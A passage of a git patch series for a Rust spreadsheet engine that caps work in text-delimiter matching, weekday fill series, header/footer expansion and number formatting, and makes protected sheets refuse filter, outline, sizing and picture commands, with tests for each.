@@ mod tests { use crate::util::testutil::*; + /// Trailing percent signs each divide by 100, and a long run of them is cut off in one pass. + #[test] + fn numbervalue_percent_signs() { + close(ev("NUMBERVALUE", vec![t("5%%")]), 0.0005); + close(ev("NUMBERVALUE", vec![t("1,5%"), t(","), t(".")]), 0.015); + let many = format!("1{}", "%".repeat(32_000)); + close(ev("NUMBERVALUE", vec![t(&many)]), 0.0); + } + #[test] fn bahttext() { let bt = |x: f64| ev("BAHTTEXT", vec![n(x)]); From 017c80572cb9592ba3f4228078cb1dd38a462d65 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:53:47 -0500 Subject: [PATCH 12/20] functions: match TEXTSPLIT/TEXTBEFORE/TEXTAFTER delimiters through an index, within a work limit (#3263) * functions: match TEXTSPLIT/TEXTBEFORE/TEXTAFTER delimiters through an index, within a work limit The delimiter matcher compared every delimiter, duplicates included, at every position of the text. Delimiters are now deduplicated and grouped by the character a match is anchored on, and a search that would compare more than 100 million characters returns #VALUE!. * functions: pass float literals in the delimiter test --- crates/functions/src/text.rs | 85 ++++++++++++++++++++++++++++-------- 1 file changed, 67 insertions(+), 18 deletions(-) diff --git a/crates/functions/src/text.rs b/crates/functions/src/text.rs index bf4d51d22..24674a93c 100644 --- a/crates/functions/src/text.rs +++ b/crates/functions/src/text.rs @@ -1,5 +1,7 @@ //! Text functions. +use std::collections::HashMap; + use gridcraft_core::parse::parse_number_text_in; use gridcraft_core::{CellError, Value, number_to_text}; @@ -541,23 +543,52 @@ fn delimiters(v: &Value) -> R>> { as_array(v).iter().map(|d| d.to_text().map(|s| chars(&s))).collect() } +/// Most delimiter characters compared in one search: text length × delimiters is the formula's +/// to choose, so the search gives up with `#VALUE!` rather than run on. +const MAX_MATCH_WORK: u64 = 100_000_000; + /// Non-overlapping delimiter matches (start, end) in char positions, in ascending order. Scans left /// to right preferring the longest delimiter starting at each position, or (`from_end`) right to /// left preferring the longest delimiter ending at each position. Empty delimiters are ignored unless all -/// delimiters are empty, in which case every position matches with zero length. -fn find_matches(text: &[char], delims: &[Vec], insensitive: bool, from_end: bool) -> Vec<(usize, usize)> { +/// delimiters are empty, in which case every position matches with zero length. Repeated +/// delimiters are tried once, and only those whose first (or, from the end, last) character is the +/// one at hand; a search past [`MAX_MATCH_WORK`] is `#VALUE!`. +fn find_matches(text: &[char], delims: &[Vec], insensitive: bool, from_end: bool) -> R> { let t = if insensitive { fold(text) } else { text.to_vec() }; - let ds: Vec> = delims.iter().filter(|d| !d.is_empty()).map(|d| if insensitive { fold(d) } else { d.clone() }).collect(); + let mut ds: Vec> = delims.iter().filter(|d| !d.is_empty()).map(|d| if insensitive { fold(d) } else { d.clone() }).collect(); if ds.is_empty() { - return (0..=t.len()).map(|i| (i, i)).collect(); + return Ok((0..=t.len()).map(|i| (i, i)).collect()); } + ds.sort_unstable(); + ds.dedup(); + // Delimiters by the character a match is anchored on. + let mut by_char: HashMap> = HashMap::new(); + for d in &ds { + let anchor = if from_end { d.last() } else { d.first() }; + if let Some(&c) = anchor { + by_char.entry(c).or_default().push(d); + } + } + let mut work = 0u64; + let mut longest = |candidates: Option<&Vec<&[char]>>, fits: &dyn Fn(&[char]) -> bool| -> R> { + let mut best = None; + for d in candidates.into_iter().flatten() { + work = work.saturating_add(d.len() as u64); + if work > MAX_MATCH_WORK { + return Err(CellError::Value); + } + if fits(d) { + best = best.max(Some(d.len())); + } + } + Ok(best) + }; let mut out = Vec::new(); if from_end { let mut j = t.len(); while j > 0 { - let best = - ds.iter().filter(|d| j.checked_sub(d.len()).and_then(|st| t.get(st..j)).is_some_and(|w| w == d.as_slice())).map(Vec::len).max(); - match best { + let at = t.get(j - 1).and_then(|c| by_char.get(c)); + match longest(at, &|d| j.checked_sub(d.len()).and_then(|st| t.get(st..j)).is_some_and(|w| w == d))? { Some(l) => { out.push((j - l, j)); j -= l; @@ -566,12 +597,12 @@ fn find_matches(text: &[char], delims: &[Vec], insensitive: bool, from_end } } out.reverse(); - return out; + return Ok(out); } let mut i = 0; while i < t.len() { - let best = ds.iter().filter(|d| t.get(i..i + d.len()).is_some_and(|w| w == d.as_slice())).map(Vec::len).max(); - match best { + let at = t.get(i).and_then(|c| by_char.get(c)); + match longest(at, &|d| t.get(i..i + d.len()).is_some_and(|w| w == d))? { Some(l) => { out.push((i, i + l)); i += l; @@ -579,7 +610,7 @@ fn find_matches(text: &[char], delims: &[Vec], insensitive: bool, from_end None => i += 1, } } - out + Ok(out) } fn text_before_after(a: &[Arg], before: bool) -> R { @@ -591,7 +622,7 @@ fn text_before_after(a: &[Arg], before: bool) -> R { if !(0..=1).contains(&mode) || inst == 0 || inst.unsigned_abs() as usize > s.len().max(1) { return Err(CellError::Value); } - let mut m = find_matches(&s, &delims, mode == 1, inst < 0); + let mut m = find_matches(&s, &delims, mode == 1, inst < 0)?; if match_end { if inst > 0 { if m.last().is_none_or(|x| x.0 != s.len()) { @@ -620,18 +651,18 @@ fn textafter(a: &[Arg], _c: &mut dyn Ctx) -> R { text_before_after(a, false) } -fn split_by(s: &[char], delims: &[Vec], insensitive: bool) -> Vec> { +fn split_by(s: &[char], delims: &[Vec], insensitive: bool) -> R>> { if delims.iter().all(Vec::is_empty) { - return vec![s.to_vec()]; + return Ok(vec![s.to_vec()]); } let mut out = Vec::new(); let mut last = 0; - for (st, en) in find_matches(s, delims, insensitive, false) { + for (st, en) in find_matches(s, delims, insensitive, false)? { out.push(s[last..st].to_vec()); last = en; } out.push(s[last..].to_vec()); - out + Ok(out) } fn textsplit(a: &[Arg], _c: &mut dyn Ctx) -> R { @@ -648,12 +679,12 @@ fn textsplit(a: &[Arg], _c: &mut dyn Ctx) -> R { } let pad = if has(a, 5) { scalar(arg(a, 5)?) } else { Value::Error(CellError::NA) }; let mut rows: Vec> = Vec::new(); - for r in split_by(&s, &row_d, mode == 1) { + for r in split_by(&s, &row_d, mode == 1)? { if ignore && r.is_empty() { continue; } let cells: Vec = - split_by(&r, &col_d, mode == 1).into_iter().filter(|c| !(ignore && c.is_empty())).map(|c| c.into_iter().collect()).collect(); + split_by(&r, &col_d, mode == 1)?.into_iter().filter(|c| !(ignore && c.is_empty())).map(|c| c.into_iter().collect()).collect(); if ignore && cells.is_empty() { continue; } @@ -1375,6 +1406,24 @@ mod tests { is_text(ev("TEXTAFTER", vec![t("aaa"), t("aa"), n(1.0)]), "a"); } + /// Thousands of copies of one delimiter are tried once; delimiters that can't start where the + /// scan stands aren't compared; a search over a budget of comparisons is `#VALUE!`. + #[test] + fn delimiter_matching_stays_bounded() { + let text = "ab,".repeat(10_000); + let same: Vec<&str> = vec![","; 50_000]; + let v = ev("TEXTSPLIT", vec![t(&text), av(row_t(&same))]); + assert_eq!(rows_of(&v).first().map(Vec::len), Some(10_001)); + // Distinct long delimiters that start and end like every position: refused, not run. + let long: Vec = (0..5_000).map(|i| format!("a{i}{}", "a".repeat(1_000))).collect(); + let long: Vec<&str> = long.iter().map(String::as_str).collect(); + is_err(ev("TEXTSPLIT", vec![t(&"a".repeat(30_000)), av(row_t(&long))]), CellError::Value); + is_err(ev("TEXTBEFORE", vec![t(&"a".repeat(30_000)), av(row_t(&long)), n(-1.0)]), CellError::Value); + // Longest match wins at a position, from either end. + is_text(ev("TEXTBEFORE", vec![t("x--y-z"), av(row_t(&["-", "--"]))]), "x"); + is_text(ev("TEXTAFTER", vec![t("x--y-z"), av(row_t(&["-", "--"])), n(-1.0)]), "z"); + } + #[test] fn split() { let v = ev("TEXTSPLIT", vec![t("a,b;c,d"), t(","), t(";")]); From 4421bc679002ee8b2a74705c44d4485ee189682f Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:54:17 -0500 Subject: [PATCH 13/20] engine: weekday fill series moves by whole weeks (#3272) edit.fillSeries with dateUnit "weekday" stepped one calendar day at a time, so a large step cost work proportional to its size for every cell. It now uses add_weekdays, which moves whole weeks arithmetically. --- crates/engine/src/fill.rs | 17 +++-------------- crates/engine/src/tests.rs | 18 ++++++++++++++++++ 2 files changed, 21 insertions(+), 14 deletions(-) diff --git a/crates/engine/src/fill.rs b/crates/engine/src/fill.rs index c63d7c983..efa09310a 100644 --- a/crates/engine/src/fill.rs +++ b/crates/engine/src/fill.rs @@ -575,20 +575,9 @@ pub fn series(cx: &mut Ctx, sheet: usize, options: SeriesOptions<'_>) -> Result< match (unit, d) { ("month", Some(_)) => (step as i64).checked_mul(i as i64).and_then(|m| add_months_clamped(sys, start, m)).unwrap_or(v), ("year", Some(_)) => (step as i64).checked_mul(i as i64 * 12).and_then(|m| add_months_clamped(sys, start, m)).unwrap_or(v), - ("weekday", Some(_)) => { - let mut n = v; - let mut left = step.abs() as i64; - while left > 0 { - n += step.signum(); - let Some(day) = datetime_from_serial(sys, n) else { - return Err(crate::EngineError::Other("The weekday series runs past the supported date range.".into())); - }; - if day.weekday != 0 && day.weekday != 6 { - left -= 1; - } - } - n - } + // Whole weeks at a time: a huge step costs no more than a small one. + ("weekday", Some(_)) => add_weekdays(sys, v, step as i64) + .ok_or_else(|| crate::EngineError::Other("The weekday series runs past the supported date range.".into()))?, _ => v + step, } } diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index fe42b6977..dd7488f19 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -3975,6 +3975,24 @@ fn fill_series_weekday_out_of_range_step_errors() { assert_eq!(v(&s, "A2"), Value::Empty); } +/// A step of a million weekdays moves whole weeks at a time instead of visiting every day, and +/// lands where counting day by day would. +#[test] +fn fill_series_weekday_large_step_is_arithmetic() { + let mut s = s(); + // 45005 is Monday 20 March 2023; five weekdays on from a Monday is the next Monday. + s.execute("cell.set", json!({"cell": "A1", "input": "45005"})).unwrap(); + s.execute("edit.fillSeries", json!({"range": "A1:A3", "direction": "columns", "type": "date", "dateUnit": "weekday", "step": 1_000_000})) + .unwrap(); + assert_eq!(v(&s, "A2"), Value::Number(45005.0 + 1_400_000.0)); + assert_eq!(v(&s, "A3"), Value::Number(45005.0 + 2_800_000.0)); + s.execute("cell.set", json!({"cell": "B1", "input": "45009"})).unwrap(); + s.execute("edit.fillSeries", json!({"range": "B1:B3", "direction": "columns", "type": "date", "dateUnit": "weekday", "step": -1})).unwrap(); + // Friday 24 March 2023 back one weekday at a time: Thursday, Wednesday. + assert_eq!(v(&s, "B2"), Value::Number(45008.0)); + assert_eq!(v(&s, "B3"), Value::Number(45007.0)); +} + #[test] fn fill_series_month_leap_year() { let s = series_date("2028-01-31", "A1:A3", "month"); From bebe7de877ac8a816072899c333e01ee66a8d4a6 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:55:07 -0500 Subject: [PATCH 14/20] engine: cap header and footer sections at 64 KiB when fields expand (#3284) The 10,000-character header spec was bounded, but each &A, &F or &Z added the whole sheet name or path again, and a JSON workbook's sheet name has no length limit. A field that would take a section past 64 KiB is now left out. --- crates/engine/src/cmd/print/header_footer.rs | 25 ++++++++++++++------ crates/engine/src/cmd/print/tests.rs | 6 +++++ 2 files changed, 24 insertions(+), 7 deletions(-) diff --git a/crates/engine/src/cmd/print/header_footer.rs b/crates/engine/src/cmd/print/header_footer.rs index 0f973d7fb..2dede3a2c 100644 --- a/crates/engine/src/cmd/print/header_footer.rs +++ b/crates/engine/src/cmd/print/header_footer.rs @@ -153,6 +153,17 @@ pub struct HfSection { pub size: Option, } +/// Most bytes one section's expanded text may hold. A code like `&A` adds the whole sheet name +/// (or file path) each time it appears, and a JSON workbook's names have no length limit. +const MAX_SECTION_BYTES: usize = 64 * 1024; + +/// Appends `s` unless the section would pass [`MAX_SECTION_BYTES`]; what doesn't fit is left out. +fn push_field(text: &mut String, s: &str) { + if text.len().saturating_add(s.len()) <= MAX_SECTION_BYTES { + text.push_str(s); + } +} + /// Expands a header/footer string into its left, centre and right sections. pub fn expand_header_footer(spec: &str, cx: &HfContext) -> [HfSection; 3] { let mut out: [HfSection; 3] = Default::default(); @@ -187,14 +198,14 @@ pub fn expand_header_footer(spec: &str, cx: &HfContext) -> [HfSection; 3] { i += 1 + digits.len(); } } - sec.text.push_str(&n.to_string()); + push_field(&mut sec.text, &n.to_string()); } - 'N' | 'n' => sec.text.push_str(&cx.pages.to_string()), - 'D' | 'd' => sec.text.push_str(&cx.date), - 'T' | 't' => sec.text.push_str(&cx.time), - 'A' | 'a' => sec.text.push_str(&cx.sheet), - 'F' | 'f' => sec.text.push_str(&cx.file), - 'Z' | 'z' => sec.text.push_str(&cx.path), + 'N' | 'n' => push_field(&mut sec.text, &cx.pages.to_string()), + 'D' | 'd' => push_field(&mut sec.text, &cx.date), + 'T' | 't' => push_field(&mut sec.text, &cx.time), + 'A' | 'a' => push_field(&mut sec.text, &cx.sheet), + 'F' | 'f' => push_field(&mut sec.text, &cx.file), + 'Z' | 'z' => push_field(&mut sec.text, &cx.path), '&' => sec.text.push('&'), 'B' | 'b' => sec.bold = !sec.bold, 'I' | 'i' => sec.italic = !sec.italic, diff --git a/crates/engine/src/cmd/print/tests.rs b/crates/engine/src/cmd/print/tests.rs index 26fca1937..323060470 100644 --- a/crates/engine/src/cmd/print/tests.rs +++ b/crates/engine/src/cmd/print/tests.rs @@ -414,6 +414,12 @@ fn pdf_contains_text_and_header_codes_expand() { assert_eq!(r.text, "P4/9 9:00 AM"); assert_eq!(expand_header_footer("plain", &cx)[1].text, "plain"); assert_eq!(expand_header_footer("&", &cx)[1].text, ""); + // A megabyte sheet name repeated by 5,000 `&A` codes stops at the section's 64 KiB. + let long = HfContext { sheet: "S".repeat(1024 * 1024), ..cx }; + let [_, c, _] = expand_header_footer(&"&A".repeat(5_000), &long); + assert!(c.text.is_empty(), "the name alone is over the limit"); + let short = HfContext { sheet: "S".repeat(1000), ..Default::default() }; + assert_eq!(expand_header_footer(&"&A".repeat(5_000), &short)[1].text.len(), 65_000); } #[test] From cdd3a59dbc868cd4f8d3d3688fe21a485034482f Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:55:35 -0500 Subject: [PATCH 15/20] Treemap rows keep running aggregates; General-fit width is clamped (#3290) --- crates/chart/src/render/kinds.rs | 17 +++++++++-------- crates/numfmt/src/decimal.rs | 5 +++++ 2 files changed, 14 insertions(+), 8 deletions(-) diff --git a/crates/chart/src/render/kinds.rs b/crates/chart/src/render/kinds.rs index 54ce6bec8..10286107b 100644 --- a/crates/chart/src/render/kinds.rs +++ b/crates/chart/src/render/kinds.rs @@ -203,12 +203,11 @@ pub(super) fn pie(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx, inne // ---------------------------------------------------------------- treemap -fn worst(row: &[f64], side: f64) -> f64 { - let s: f64 = row.iter().sum(); +/// Worst aspect ratio of a row with the given sum, smallest and largest area. +fn worst(s: f64, mn: f64, mx: f64, side: f64) -> f64 { if s <= 0.0 || side <= 0.0 { return f64::INFINITY; } - let (mn, mx) = row.iter().fold((f64::INFINITY, 0.0f64), |(a, b), v| (a.min(*v), b.max(*v))); let s2 = s * s; let w2 = side * side; (w2 * mx / s2).max(s2 / (w2 * mn)) @@ -225,6 +224,8 @@ fn squarify(items: &[(usize, f64)], r: Bx) -> Vec<(usize, Bx)> { let mut out = Vec::with_capacity(items.len()); let mut rem = r; let mut row: Vec<(usize, f64)> = Vec::new(); + // The row's sum, smallest and largest area, kept as items join so each step is O(1). + let (mut sum, mut mn, mut mx) = (0.0f64, f64::INFINITY, 0.0f64); let mut i = 0; let layout = |row: &[(usize, f64)], rem: &mut Bx, out: &mut Vec<(usize, Bx)>| { let s: f64 = row.iter().map(|x| x.1).sum(); @@ -256,15 +257,14 @@ fn squarify(items: &[(usize, f64)], r: Bx) -> Vec<(usize, Bx)> { while let Some(&(j, v)) = items.get(i) { let a = v * scale; let side = rem.w.min(rem.h) as f64; - let cur: Vec = row.iter().map(|x| x.1).collect(); - let mut with = cur.clone(); - with.push(a); - if row.is_empty() || worst(&with, side) <= worst(&cur, side) { + if row.is_empty() || worst(sum + a, mn.min(a), mx.max(a), side) <= worst(sum, mn, mx, side) { row.push((j, a)); + (sum, mn, mx) = (sum + a, mn.min(a), mx.max(a)); i += 1; } else { layout(&row, &mut rem, &mut out); row.clear(); + (sum, mn, mx) = (0.0, f64::INFINITY, 0.0); } } if !row.is_empty() { @@ -279,6 +279,7 @@ pub(super) fn treemap(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) s.values.iter().take(MAX_MARKERS).enumerate().filter_map(|(j, v)| v.filter(|v| *v > 0.0).map(|v| (j, v))).collect(); items.sort_by(|a, b| b.1.total_cmp(&a.1)); let f = Fmt::new(&s.number_format); + let value_of: std::collections::HashMap = items.iter().copied().collect(); for (j, b) in squarify(&items, area) { let fill = point_color(data, j); ctx.rect(b.x, b.y, b.w, b.h, fill, Some((WHITE, 1.5))); @@ -286,7 +287,7 @@ pub(super) fn treemap(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) let name = ctx.fit(&cat_label(data, j), LABEL_SIZE, b.w - 8.0); ctx.text(b.x + 4.0, b.y + 4.0, &name, LABEL_SIZE, on(fill), (HAlign::Left, VAlign::Top)); if chart.data_labels && b.h > LABEL_SIZE * 3.2 { - let v = items.iter().find(|x| x.0 == j).map(|x| x.1).unwrap_or(0.0); + let v = value_of.get(&j).copied().unwrap_or(0.0); let t = ctx.fit(&f.format(v, None), LABEL_SIZE, b.w - 8.0); ctx.text(b.x + 4.0, b.y + 4.0 + LABEL_SIZE * 1.4, &t, LABEL_SIZE, on(fill), (HAlign::Left, VAlign::Top)); } diff --git a/crates/numfmt/src/decimal.rs b/crates/numfmt/src/decimal.rs index 67071d4e0..b6c831f71 100644 --- a/crates/numfmt/src/decimal.rs +++ b/crates/numfmt/src/decimal.rs @@ -136,6 +136,9 @@ pub(crate) fn fixed(a: f64, decimals: usize) -> (String, String) { /// General format squeezed into `max_chars` characters. Excel shows fewer decimals, then /// scientific notation, then "####" when a column is narrow; `None` means the caller paints "####". pub fn format_general_fit(n: f64, max_chars: usize) -> Option { + // The widest fixed rendering of a double is about 330 characters; a larger request only + // pads zero decimals the trim below throws away. + let max_chars = max_chars.min(1024); if !n.is_finite() { return None; } @@ -214,6 +217,8 @@ mod tests { fn general_fit() { assert_eq!(format_general_fit(1e11, 11).as_deref(), Some("1E+11")); assert_eq!(format_general_fit(12345678901.0, 11).as_deref(), Some("12345678901")); + // A huge width neither allocates width-sized padding nor changes the text. + assert_eq!(format_general_fit(1.5, usize::MAX).as_deref(), Some("1.5")); assert_eq!(format_general_fit(123456789012.0, 11).as_deref(), Some("1.23457E+11")); assert_eq!(format_general_fit(0.1 + 0.2, 11).as_deref(), Some("0.3")); assert_eq!(format_general_fit(1.0 / 3.0, 11).as_deref(), Some("0.333333333")); From 22c5dfe0df2cea2e2fceb1189c75fcfa77f2b587 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:56:06 -0500 Subject: [PATCH 16/20] engine: protected sheets gate filter reapply, outline, line sizes and floating pictures; pivot destination resolved before the structure check; user-limited edit ranges stay locked (#3296) --- crates/engine/src/cmd.rs | 8 +++- crates/engine/src/cmd/data/filter.rs | 2 + crates/engine/src/cmd/data/grouping.rs | 17 ++++++++ crates/engine/src/cmd/format/sizes.rs | 11 +++++ crates/engine/src/cmd/insert.rs | 4 ++ crates/engine/src/cmd/pivot/create.rs | 7 +-- crates/engine/src/tests.rs | 59 ++++++++++++++++++++++++++ 7 files changed, 103 insertions(+), 5 deletions(-) diff --git a/crates/engine/src/cmd.rs b/crates/engine/src/cmd.rs index 1148a6b6e..02f6dabca 100644 --- a/crates/engine/src/cmd.rs +++ b/crates/engine/src/cmd.rs @@ -503,10 +503,14 @@ pub(crate) fn refuse_unless_allowed(s: &Session, sheet: usize, what: &str, pick: pub(crate) fn locked_cell_error(sh: &gridcraft_model::Sheet, c: CellRef, unlocked: &[(String, String)]) -> Option { let mut needs_password = None; for r in sh.edit_ranges.iter().filter(|r| r.contains(c)) { - if r.password.is_none() || unlocked.iter().any(|(s, t)| *s == sh.name && *t == r.title) { + // A range limited to Windows users or groups (a security descriptor) can't be checked + // here, so without a password it stays locked rather than opening to every editor. + if (r.password.is_none() && r.security_descriptor.is_none()) || unlocked.iter().any(|(s, t)| *s == sh.name && *t == r.title) { return None; } - needs_password.get_or_insert(r.title.as_str()); + if r.password.is_some() { + needs_password.get_or_insert(r.title.as_str()); + } } Some(match needs_password { Some(t) => format!("The range \"{t}\" needs its password before it can be changed (Review › Allow Edit Ranges)."), diff --git a/crates/engine/src/cmd/data/filter.rs b/crates/engine/src/cmd/data/filter.rs index 1b52e4537..437bd7887 100644 --- a/crates/engine/src/cmd/data/filter.rs +++ b/crates/engine/src/cmd/data/filter.rs @@ -270,6 +270,7 @@ pub(crate) fn apply_filter(wb: &mut Workbook, sheet: usize) { pub(super) fn clear_filter(s: &mut Session, _: &Json) -> Result { let sheet = s.doc()?.wb.active_sheet(); + crate::cmd::refuse_unless_allowed(s, sheet, "Filtering", |p| p.autofilter)?; edit(s, |cx| { let sh = cx.sheet_mut(sheet)?; if let Some(a) = sh.autofilter.as_mut() { @@ -283,6 +284,7 @@ pub(super) fn clear_filter(s: &mut Session, _: &Json) -> Result { pub(super) fn reapply(s: &mut Session, _: &Json) -> Result { let sheet = s.doc()?.wb.active_sheet(); + crate::cmd::refuse_unless_allowed(s, sheet, "Filtering", |p| p.autofilter)?; edit(s, |cx| { apply_filter(&mut cx.wb, sheet); cx.structural = true; diff --git a/crates/engine/src/cmd/data/grouping.rs b/crates/engine/src/cmd/data/grouping.rs index d2e183ae1..03761b454 100644 --- a/crates/engine/src/cmd/data/grouping.rs +++ b/crates/engine/src/cmd/data/grouping.rs @@ -21,6 +21,15 @@ fn outline_lines(s: &Session, p: &Json) -> Result<(bool, u32, u32)> { } } +/// Outline commands change line visibility and grouping: a protected sheet must allow formatting that axis. +fn refuse_unless_outline_allowed(s: &Session, sheet: usize, rows: bool) -> Result<()> { + if rows { + crate::cmd::refuse_unless_allowed(s, sheet, "Formatting rows", |p| p.format_rows) + } else { + crate::cmd::refuse_unless_allowed(s, sheet, "Formatting columns", |p| p.format_columns) + } +} + pub(super) fn group(s: &mut Session, p: &Json, on: bool) -> Result { let si = target_sheet(s, p)?; // The selection belongs to the active sheet, so another sheet needs its lines. @@ -28,6 +37,7 @@ pub(super) fn group(s: &mut Session, p: &Json, on: bool) -> Result { return Err(bad(if on { "data.group" } else { "data.ungroup" }, "missing `rows` or `cols`: the selection is on the active sheet")); } let (rows, a, b) = outline_lines(s, p)?; + refuse_unless_outline_allowed(s, si, rows)?; edit(s, |cx| { let sh = cx.sheet_mut(si)?; let before = outline::summary_before(sh, rows); @@ -58,6 +68,7 @@ pub(super) fn group(s: &mut Session, p: &Json, on: bool) -> Result { /// + button, saved to XLSX); showing keeps inner groups that were collapsed on their own collapsed. pub(super) fn detail(s: &mut Session, p: &Json, hide: bool) -> Result { let (rows, a, b) = outline_lines(s, p)?; + refuse_unless_outline_allowed(s, s.doc()?.wb.active_sheet(), rows)?; let want = p.get("level").and_then(Json::as_u64).map(|l| l.min(outline::MAX_LEVEL as u64) as u8); edit(s, |cx| { let si = cx.sheet_index(); @@ -123,6 +134,12 @@ pub(super) fn show_levels(s: &mut Session, p: &Json) -> Result { msg: "give `rows` or `cols`: the outline level to show (1 = top-level summaries only)".into(), }); } + let active = s.doc()?.wb.active_sheet(); + for (n, is_rows) in [(rows, true), (cols, false)] { + if n.is_some() { + refuse_unless_outline_allowed(s, active, is_rows)?; + } + } edit(s, |cx| { let si = cx.sheet_index(); let sh = cx.sheet_mut(si)?; diff --git a/crates/engine/src/cmd/format/sizes.rs b/crates/engine/src/cmd/format/sizes.rs index 3335d6100..c79327678 100644 --- a/crates/engine/src/cmd/format/sizes.rs +++ b/crates/engine/src/cmd/format/sizes.rs @@ -9,6 +9,17 @@ use super::{ /// sheet is `sheet`, else the prefix, else the active one. The selection belongs to the active /// sheet, so another sheet needs explicit lines. fn line_targets(s: &Session, p: &Json, rows: bool) -> Result<(usize, Vec<(u32, u32)>)> { + let (sheet, lines) = resolve_lines(s, p, rows)?; + // Sizes and visibility are formatting of the line, which a protected sheet must allow. + if rows { + crate::cmd::refuse_unless_allowed(s, sheet, "Formatting rows", |p| p.format_rows)?; + } else { + crate::cmd::refuse_unless_allowed(s, sheet, "Formatting columns", |p| p.format_columns)?; + } + Ok((sheet, lines)) +} + +fn resolve_lines(s: &Session, p: &Json, rows: bool) -> Result<(usize, Vec<(u32, u32)>)> { let key = if rows { "rows" } else { "cols" }; let mut sheet = target_sheet(s, p)?; if let Some(t) = str_param(p, key) { diff --git a/crates/engine/src/cmd/insert.rs b/crates/engine/src/cmd/insert.rs index b713061c2..56e066383 100644 --- a/crates/engine/src/cmd/insert.rs +++ b/crates/engine/src/cmd/insert.rs @@ -1100,6 +1100,10 @@ fn insert_picture(s: &mut Session, p: &Json) -> Result { .unwrap_or_else(|| if data.starts_with(&[0x89, b'P', b'N', b'G']) { "image/png".into() } else { "image/jpeg".into() }); let (w, h) = crate::io::image_size(&data).unwrap_or((320, 240)); let d = s.doc()?; + // Sheet protection locks drawing objects, as for a text box's text. + if d.wb.active().is_some_and(|sh| sh.is_protected()) { + return Err(EngineError::Other(PROTECTED.into())); + } let id = d.wb.next_object_id(); let at = cell_param(s, p, "at")?.unwrap_or(d.selection.active); let scale = (640.0 / w.max(1) as f32).min(1.0); diff --git a/crates/engine/src/cmd/pivot/create.rs b/crates/engine/src/cmd/pivot/create.rs index ce5f97257..0cec82b54 100644 --- a/crates/engine/src/cmd/pivot/create.rs +++ b/crates/engine/src/cmd/pivot/create.rs @@ -67,9 +67,6 @@ fn field_list(v: Option<&Json>) -> Vec { } pub(super) fn insert_pivot(s: &mut Session, p: &Json) -> Result { - if s.doc()?.wb.protected_structure && matches!(str_param(p, "destination"), None | Some("new")) { - return Err(other("The workbook is protected and cannot be changed.")); - } let source = source_param(s, p)?; let active = s.doc()?.wb.active_sheet(); // Validate the source now (header names, size). @@ -98,6 +95,10 @@ pub(super) fn insert_pivot(s: &mut Session, p: &Json) -> Result { let at = RangeRef::parse(body).map(|r| r.start).ok_or_else(|| bad("insert.pivotTable", format!("not a cell: `{dest}`")))?; Some((si, at)) }; + // Decided on the resolved destination: `New`, ` new ` and an empty one all make a sheet. + if target.is_none() && s.doc()?.wb.protected_structure { + return Err(other("The workbook is protected and cannot be changed.")); + } let replace = bool_param(p, "replace").unwrap_or(false); let rows = field_list(p.get("rows")); let columns = field_list(p.get("columns")); diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index dd7488f19..75e5eac96 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -5590,3 +5590,62 @@ fn clearing_links_and_notes_keeps_allow_edit_ranges() { let sh = s.doc().unwrap().wb.active().unwrap().clone(); assert!(sh.hyperlinks.is_empty() && sh.comments.is_empty()); } + +#[test] +fn protected_sheet_refuses_layout_commands_its_permissions_do_not_allow() { + let mut s = s(); + s.execute("range.setValues", json!({"range": "A1", "values": [["h"], [1], [2]]})).unwrap(); + s.execute("data.filter", json!({"range": "A1:A3"})).unwrap(); + s.execute("review.protectSheet", json!({})).unwrap(); + for (id, params) in [ + ("home.rowHeight", json!({"rows": "1:1", "height": 40})), + ("home.columnWidth", json!({"cols": "A:A", "width": 80})), + ("data.group", json!({"rows": "2:3"})), + ("data.showLevels", json!({"rows": 1})), + ("data.clearFilter", json!({})), + ("data.reapply", json!({})), + ("insert.picture", json!({"base64": "iVBORw0KGgo="})), + ] { + let err = s.execute(id, params).expect_err(id).to_string(); + assert!(err.contains("protected"), "{id}: {err}"); + } + // With the permissions ticked the same layout commands run. + s.execute("review.unprotectSheet", json!({})).unwrap(); + s.execute("review.protectSheet", json!({"formatRows": true, "formatColumns": true, "autofilter": true})).unwrap(); + for (id, params) in [ + ("home.rowHeight", json!({"rows": "1:1", "height": 40})), + ("home.columnWidth", json!({"cols": "A:A", "width": 80})), + ("data.reapply", json!({})), + ] { + s.execute(id, params).unwrap_or_else(|e| panic!("{id}: {e}")); + } +} + +#[test] +fn an_edit_range_limited_to_windows_users_stays_locked() { + use gridcraft_model::EditRange; + let mut s = s(); + let a1 = CellRef::parse("A1").unwrap(); + let range = |sd: Option<&str>| EditRange { + title: "T".into(), + ranges: vec![gridcraft_core::RangeRef::cell(a1)], + password: None, + security_descriptor: sd.map(str::to_string), + }; + let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap(); + sh.edit_ranges.push(range(None)); + assert!(crate::cmd::locked_cell_error(sh, a1, &[]).is_none(), "an open range"); + sh.edit_ranges = vec![range(Some("D:(A;;GA;;;WD)"))]; + assert!(crate::cmd::locked_cell_error(sh, a1, &[]).is_some(), "a user-limited range"); +} + +#[test] +fn pivot_new_sheet_destination_respects_workbook_structure_protection() { + let mut s = s(); + s.execute("range.setValues", json!({"range": "A1", "values": [["Region", "Sales"], ["N", 1], ["S", 2]]})).unwrap(); + s.execute("review.protectWorkbook", json!({"on": true})).unwrap(); + for dest in ["new", "NEW", " new ", ""] { + assert!(s.execute("insert.pivotTable", json!({"source": "A1:B3", "destination": dest})).is_err(), "destination {dest:?}"); + } + assert!(s.execute("insert.pivotTable", json!({"source": "A1:B3", "location": "New"})).is_err()); +} From f77ed98cdb47c39b592c6bbd2bb7d05a8585fc3f Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:56:56 -0500 Subject: [PATCH 17/20] 